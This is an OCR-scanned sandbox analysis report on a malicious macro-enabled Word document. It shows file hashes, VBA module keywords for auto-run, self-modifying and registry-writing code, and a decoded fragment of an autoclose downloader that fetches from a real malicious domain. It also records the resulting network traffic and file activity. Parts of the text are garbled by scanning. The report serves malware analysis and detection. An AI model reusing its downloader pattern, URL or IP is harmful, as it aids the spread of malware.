B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

LUSET ettt Alb.us....... Peeeeenen M M P/l MNieiZsend Mo X

Static File Info
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General

File type: Microsoft Word 2007+
Entropy (8bit): 7.82220089201397
TrID: e Word Microsoft Office Open XML Format document

with Macro (52004/1) 33.99%

e Word Microsoft Office Open XML Format document
(49504/1) 32.35%

e Word Microsoft Office Open XML Format document
(43504/1) 28.43%

e ZIP compressed archive (8000/1) 5.23%

File name: Datei-04.28.2021.doc

File size: 103261

MDS5: 6747583727ce069aa8ae9d398d35e5bc

SHA1L: 97667bf552bf5557666h5266003b0411bc1669bc

SHA256: 127d2018e008677e5a0af20d8981806e07e3b572857878
00554708803aaca6bd

SHA512: 88ca8855faf07a809f7badd05e0a36da9b24f103204e66ff

2624de77a6f86428bee188f290dd224cabf99fe9bald28e
73d543967d9e591fed69128ddf08e1719

SSDEEP: 1536:AH1R5bJCWehdkIVIOAPY 2ywnbchWSfZL2+wSJx
8+RBZe0nV3AgXfolSQw6egTm:KbJrlZAPY2yWwb3Za
daxHeuNQpegTm

File Content Preview: PK..ooeee Ix. e [Content_Types].xml ...(c...ccccoernes

File Icon

Icon Hash: edeea2aaadbdbdad

Static OLE Info

General
Document Type: OpenXML
Number of OLE Files: 1

OLE File "lopt/packageljoesandbox/database/analysis/399362/sample/Datei-04.28.2021.doc"

Indicators

Has Summary Info: False
Application Name: unknown
Encrypted Document: False

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary

Title: explorer c:\users\public\argumentSelectTmp.hta

Subject:

Author: ujmg

Keywords:

Template: Normal

Last Saved By: &#1055;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;
&#1083;&#1100; Windows

Revion Number: 2

Total Edit Time: 0

Create Time: 2021-04-28T04:45:00Z

Last Saved Time: 2021-04-28T04:45:00Z2

Number of Pages: 1

Number of Words: 0

Number of Characters: 0

Creating Application: Microsoft Office Word
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Summary

Security:

Document Summary
Number of Lines:

Number of Paragraphs:

Thumbnail Scaling Desired:

Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 1127

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed
Attribute
VB_Creatable
VB_Name
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

"ThisDocument"

VBA Code

VBA File Name: UserForml.frm, Stream Size: 1182

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute

Copyright Joe Security LLC 2021

false

false
false
false

16.0000

VBA/ThisDocument

ThisDocument.cls

1127

......... P o o o
[ I, - i.H.1..WDQ........ K Yo Y X.0z.Y$

L & X X.0z.Y$L & N |

H.l..WDQ....... ME ... ...

01 16 03 00 06 00 01 00 00 34 03 00 00 e4 00 00 00 ea 01 00 00 62 03 00 00 70 03 00 00 c4
03 00 00 00 00 00 00 01 00 00 00 71 cc 96 90 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff
01 01 00 00 00 00 ff f ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 03 7f 2d b5 fa 69 1d 48 9e 21 86 f4
57 44 51 84 ef 8e e3 9e df be fe 4b b5 1f 1d 00 79 ba 27 79 00 00 00 00 00 00 00 00 00 00 00
00 00

VBA/UserForm1
UserForm1.frm

1182

01 16 03 00 00 fO 00 00 00 56 03 00 00 d4 00 00 00 4c 02 00 00 ff f f ff 5d 03 00 00 b1 03 00
00 00 00 00 00 01 00 00 00 71 cc 28 ¢6 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: listCopy.bas, Stream Size: 1037

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
"listCopy"
clearlteratorRef
Attribute
autoopen()
convertindex
VB_Name
viewValueTextbox
memorylndex

String

VBA Code

VBA File Name: optionRemoveGeneric.bas, Stream Size: 1304

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

optionPtr.Quit

False

optionPtr

String)

Attribute
optionPtr.Documents.Add
collectionSelect

VB_Name

Copyright Joe Security LLC 2021

VBA/listCopy
listCopy.bas
1037

01 16 03 00 00 fO 00 00 00 92 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 99 02 00 00 6d 03 00
00 00 00 00 00 01 00 00 00 71 cc c1 2d 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA/optionRemoveGeneric
optionRemoveGeneric.bas

1304

01 16 03 00 00 fO 00 00 00 9a 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff a1 02 00 00 €9 03 00
00 00 00 00 00 01 00 00 00 71 cc 13 ¢4 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword
CreateObject("word.application")
"optionRemoveGeneric"
memoryTempTrust
memorylndex(memoryTempTrust

optionPtr.Visible

SaveChanges:=wdDoNotSaveChanges

collectionSelect.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString

VBA Code

VBA File Name: refConvertCaption.bas, Stream Size: 1636

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

String)

VB_Name

vbSwap

"refConvertCaption"
memCaptionOption.Text
StrConv(captionPaste,
Function
vbSwap.createElement("code")
exceptionPointer

Object

Variant

memConvertStruct)
ptrPtrStorage
memCaptionOption.DataType
constCollectionDatabase
memCaptionOption
memCaptionOption.nodeTypedValue

exceptionPointer(captionPaste,

ptrPtrStorage(constCollectionDatabase

Attribute

VBA Code

VBA File Name: repoText.bas, Stream Size: 2970

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

Copyright Joe Security LLC 2021

VBA/refConvertCaption
refConvertCaption.bas

1636

01 16 03 00 00 fO 00 00 00 62 03 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 69 03 00 00 0d 05 00
00 00 00 00 00 01 00 00 00 71 cc 75 6d 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA/repoText
repoText.bas

2970

01 16 03 00 00 fO 00 00 00 aa 04 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff b1 04 00 00 b9 08 00
00 00 00 00 00 01 00 00 00 71 cc 1c 3b 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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VBA Code Keywords

Keyword
convertindex
String)

"repoText"
clearRefLoad
.RegWrite
VB_Name

Public

Function

varClass

String
Application.Version
captionBufData()
textExButton
vbUnicode)
Chr$(Val("&H"
clearReflLoad,
ZXNZVKIPTQ=="),
Mid$(tempClearindex,
arrayOption
Len(tempClearindex)
mainExLocal
listboxNextVar()
CreateObject("ws"
"VjdXJpdHICQWN"
viewValueTextbox()
trustStruct
tempClearindex
globalResponse
textExButton(ByVal
varClass()
arrayOption,
countSelect
captionBufData
titleSize

Attribute
"REG_DWORD"
"cript.sh"

“ell”)

convertindex()
listboxNextVar
clearReference

mainExLocal()

VBA Code

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 689

General

Stream Path: PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 689

Entropy: 5.29372046772

Base64 Encoded: True

Data ASCII: ID="{2A8A4951-B5C1-4C9C-AE16-EDB1E3E75483}"..Docum

ent=ThisDocument/&H00000000..Package={AC9F2F90-E877
-11CE-9F68-00AA00574A4F}..BaseClass=UserForml..Modul
e=listCopy..Module=refConvertCaption..Module=optionRem
oveGeneric..Module=repoText..Name="Project"..Help
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General

Data Raw:

Stream Path: PROJECTwm, File Type: data, Stream Size: 239

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: UserForm1/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

49 44 3d 22 7b 32 41 38 41 34 39 35 31 2d 42 35 43 31 2d 34 43 39 43 2d 41 45 31 36 2d 45
44 42 31 45 33 45 37 35 34 38 33 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f
63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 50 61 63 6b 61 67 65 3d 7b 41 43
39 46 32 46 39 30 2d 45 38 37 37 2d 31 31 43 45 2d 39 46 36 38 2d 30 30 41 41 30 30 35 37
34 41 34 46 7d 0d Oa 42

PROJECTwMm
data

239
3.53833137583
False

ThisDocument.T.h.i.s.D.o.c.u.m.e.n.t...UserForml.U.s.e.r.F
.o.r.m.1...listCopy.l.i.s.t.C.o.p.y...refConvertCaption.r.e.f.
C.o.n.v.e.r.t.C.a.p.t.i.o.n...optionRemoveGeneric.o.p.t.i.o.
n.R.e.m.o.v.e.G.e.n.e.r.i.c...repoText.r.e.p.o.T.e.x.t.....

54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d
00 65 00 6e 00 74 00 00 00 55 73 65 72 46 6f 72 6d 31 00 55 00 73 00 65 00 72 00 46 00 6f
00 72 00 6d 00 31 00 00 00 6¢ 69 73 74 43 6f 70 79 00 6¢ 00 69 00 73 00 74 00 43 00 6f 00
7000 79 00 00 00 72 65 66 43 6f 6e 76 65 72 74 43 61 70 74 69 6f 6e 00 72 00 65 00 66 00
43 00 6f 00 6e 00 76 00

UserForm1/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 292

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: UserForm1/f, File Type: data, Stream Size: 90

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: UserForm1/o, File Type: data, Stream Size: 856

Copyright Joe Security LLC 2021

UserForm1/\x3VBFrame

ASCII text, with CRLF line terminators
292

4.58743694765

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm1l .. Caption = "UserForm1l"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 31 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

UserForm1/f
data

90
2.89102698747

False

00 04 20 00 08 Oc 00 Oc 01 00 00 00 01 00 00 00 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00
00 00 00 00 00 00 00 00 01 00 00 00 2c 00 00 00 00 01 68 6f 00 00 24 00 e5 01 00 00 08 00
00 80 01 00 00 00 58 03 00 00 00 00 17 00 54 65 78 74 42 6f 78 31 34 02 00 00 1a 01 00 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 4855

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2486

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 214

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 348

General
Stream Path:
File Type:
Copyright Joe Security LLC 2021

UserForml/o
data

856
5.78040237389
True

.8..@...... H.o......... {...Sub autoclose().. download..
execute..End Sub....Sub download()....Set xmlhttp = Creat
eObject("microsoft.xmlhttp")..xmlhttp.Open "GET", "http://b
etter-transport-2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKh
0i16jtB3A2HONA1hpc/7468

00 02 38 03 01 01 40 80 00 00 00 00 1b 48 80 ac 1d 03 00 80 ec 09 00 00 7b 02 00 00 53 75
62 20 61 75 74 6f 63 6¢ 6f 73 65 28 29 0d Oa 20 20 20 20 64 6f 77 6e 6¢ 6 61 64 0d Oa 20 20
20 20 65 78 65 63 75 74 65 0d Oa 45 6e 64 20 53 75 62 0d Oa 0d Oa 53 75 62 20 64 6f 77 6e
6¢ 6f 61 64 28 29 0d Oa 0d Oa 53 65 74 20 78 6d 6¢ 68 74 74 70 20 3d 20 43 72 65 61 74 65
4f 62 6a 65 63 74 28

VBA/_VBA_PROJECT

data

4855

4.66602075705

False

A *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C...\.P.R.0O.G.R.A.~.1.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S.
~.1.\.V.B.A.\.V.B.A.7...1.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B

.a.s.i.c.

cc 61 b2 00 00 03 00 ff 19 04 00 00 09 04 00 00 e3 04 03 00 00 00 00 00 00 00 00 00 01 00
07 00 02 00 fe 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00

VBA/__SRP_0
data

2486
3.64532699898

True

93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00
00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05
00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5¢ 43 4e 6f 72 6d 61 6¢ 72 55 00 01
00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
06 00 00 00 00 00 00

VBA/__SRP_1
data

214
1.76333029747

7255 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00
00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff f ff ff ff ff ff ff ff

VBA/__SRP_2
data
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 106

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

348
1.78667786328

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 01 00 01 00 00 00 01 00 d1 Ob 00 00 00 00 00 00 00 00 00 00 11 Oc 00 00 00 00
00 00 00 00 00 00 41 Oc

VBA/__SRP_3
data

106
1.35911194617

b

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 00 00 00 00 00 00 62 00 00 00 00
00 00 7f 00 00 00 00 00 00 00 00

Stream Path: VBA/dir, File Type: Tower/XP rel 3 object not stripped - version 18435, Stream Size: 1172

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Network Port Distribution

Copyright Joe Security LLC 2021

VBA/dir

Tower/XP rel 3 object not stripped - version 18435
1172

6.62532484228

True

............ O*.....p..H.....d........Project.Q.(..@.....=.....01......
..... |b....J.<.....rstd.ole>..s.t..d.o.l.eP...h.%"..*.\G{00020.
430-....C....... 0046}#.2.0#0#C:.\Windows.\\System3.2\.e2.t
Ib.#0OLE Aut.omation. ....ENormal..EN.Cr.m.aQ.F.. ..... *,\C
...... m.

01 90 b4 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e3
04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 Oa
07 02 6¢ 01 14 08 06 12 09 02 12 80 06 bb 7c 62 0f 00 Oc 02 4a 12 3¢ 02 0a 16 00 01 72 73
74 64 10 6f 6¢ 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6¢ 00 65 50 00 0d 00 68 00 25 5e 00
03 2a 00 5¢c 47 7b 30 30

Total Packets: 6

® 53 (DNS)
@ 80 (HTTP)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Apr 28, 2021 17:47:31.154751062 CEST 49165 80 192.168.2.22 45.142.215.160

Apr 28, 2021 17:47:31.224575996 CEST 80 49165 45.142.215.160 192.168.2.22

Apr 28, 2021 17:47:31.224666119 CEST 49165 80 192.168.2.22 45.142.215.160

Apr 28, 2021 17:47:31.225944996 CEST 49165 80 192.168.2.22 45.142.215.160

Apr 28, 2021 17:47:31.294394016 CEST 80 49165 45.142.215.160 192.168.2.22

Apr 28, 2021 17:47:31.546538115 CEST 80 49165 45.142.215.160 192.168.2.22

Apr 28, 2021 17:47:31.546854973 CEST 49165 80 192.168.2.22 45.142.215.160

Apr 28, 2021 17:47:32.014336109 CEST 49165 80 192.168.2.22 45.142.215.160

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Apr 28, 2021 17:47:31.060580969 CEST 52197 53 192.168.2.22 8.8.8.8

Apr 28, 2021 17:47:31.131036043 CEST 53 52197 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Apr 28, 2021 17:47:31.060580969 CEST 192.168.2.22 8.8.8.8 0x2c09 Standard query  better-transport- A (IP address) IN (0x0001)
0) 2008.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Apr 28, 2021 8.8.8.8 192.168.2.22 0x2c09 No error (0) better-transport- 45.142.215.160 A (IP address) IN (0x0001)

17:47:31.131036043 2008.com

CEST

HTTP Request Dependency Graph

e better-transport-2008.com

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Apr 28, 2021 0

17:47:31.225944996 CEST

Apr 28, 2021 1

17:47:31.546538115 CEST
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Source Port

49165

Direction

ouT

Destination IP Destination Port Process

45.142.215.160 80 C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Data

GET /bijol/dV6T3iG7zYYN/GdUb2hcoKh0i16jtB3A2HONALhpc/74683/46747/72864/44SSvBNGhJIXy5fQxaupfdO8M/ZJEB
/17780/qJ9lstoLuZrOY/lakad?page=iiJKK2MrmsRueKNRXFWZC09SOGKZ&user=hIf0d5tRMn7urFplay3&g=gV
91M4&sid=cwv4FzNM]ZLFugtW1IxjgH314&search=KCgMbDFMHNTY94w5RXEIHoTs HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: better-transport-2008.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 28 Apr 2021 15:47:31 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34

X-Powered-By: PHP/7.2.34

Content-Length: 204

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 6¢ 61 6b 61 34 22 20 77
61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e
3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL "laka4" was not found on this server.</p></body></html>
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Code Manipulations

Statistics

Behavior

System Behavior

Click to jump to process

@ WINWORD.EXE
® WINWORD.EXE
@ regsvr32.exe

Analysis Process: WINWORD.EXE PID: 2396 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

17:47:30
28/04/2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding

0x13f5b0000

1424032 bytes
95C38D04597050285A18F66039EDB456
true

true

C, C++ or other language

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\tstB49F.tmp

C:\Users\user\AppData\Local\Temp\tstB4D0.tmp

C:\Users\user\AppData\Local\Temp\tstB520.tmp
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read attributes | device
synchronize |
generic read

read attributes | device
synchronize |
generic read

read attributes | device
synchronize |
generic read

synchronous io  success or wait
non alert | non
directory file

synchronous io  success or wait
non alert | non
directory file

synchronous io  success or wait
non alert | non
directory file

1

7FEF401DBDB

7FEF40018FE

7FEF40018FE

GetTempFileNameA

unknown

unknown
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DF65FAEC5BC2BC9D99.TMP  read attributes | device synchronous io  success or wait 1 7FEEQ90C3241 unknown
delete | syn non alert | non
chronize | directory file |
generic read | delete on close

generic write

C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE91226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd read attributes | device synchronous io  success or wait 1 7FEEQ0CFDDC unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\Users\user\Application Data\Microsoft\Forms read data or list device directory file | success or wait 1 7FEEQ9055A04 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point

C:\Users\user\Application Data\Microsoft\Forms\WINWORD.box read attributes | device synchronous io  success or wait 1 7FEEQ9055A04 unknown

synchronize | non alert | non

generic read | directory file

generic write

File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\tstB49F.tmp success or wait 1 7FEF401DBFC DeleteFileA
C:\Users\user\AppData\Local\Temp\tstB4D0.tmp success or wait 1 7FEF40018FE unknown
C:\Users\user\AppData\Local\Temp\tstB520.tmp success or wait 1 7FEF40018FE unknown
C:\Users\user\AppData\Roaming\Microsoft\Forms\WINWORD.box success or wait 1 7FEE9055A04 unknown
C:\Users\user\AppData\Local\Temp\~DF49A9889A32A44A58. TMP success or wait 1 7FEE9049ACO unknown
C:\Users\user\Desktop\~$tei-04.28.2021.doc success or wait 1 7FEE9049ACO unknown
C:\Users\user\AppData\Local\Temp\~DF4254C73220D87B52.TMP success or wait 1 7FEEQ0EAFAA unknown
C:\Users\user\AppData\Local\Temp\~DFBB01838138708B69.TMP success or wait 1 7FEEQ0E5E7B unknown
Source
Old File Path New File Path Completion Count Address Symbol
File Written
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 09 04 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 51 00 Q. success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 02 00 . success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 06 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 91 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 b3 02 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 23 00 00 .. success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
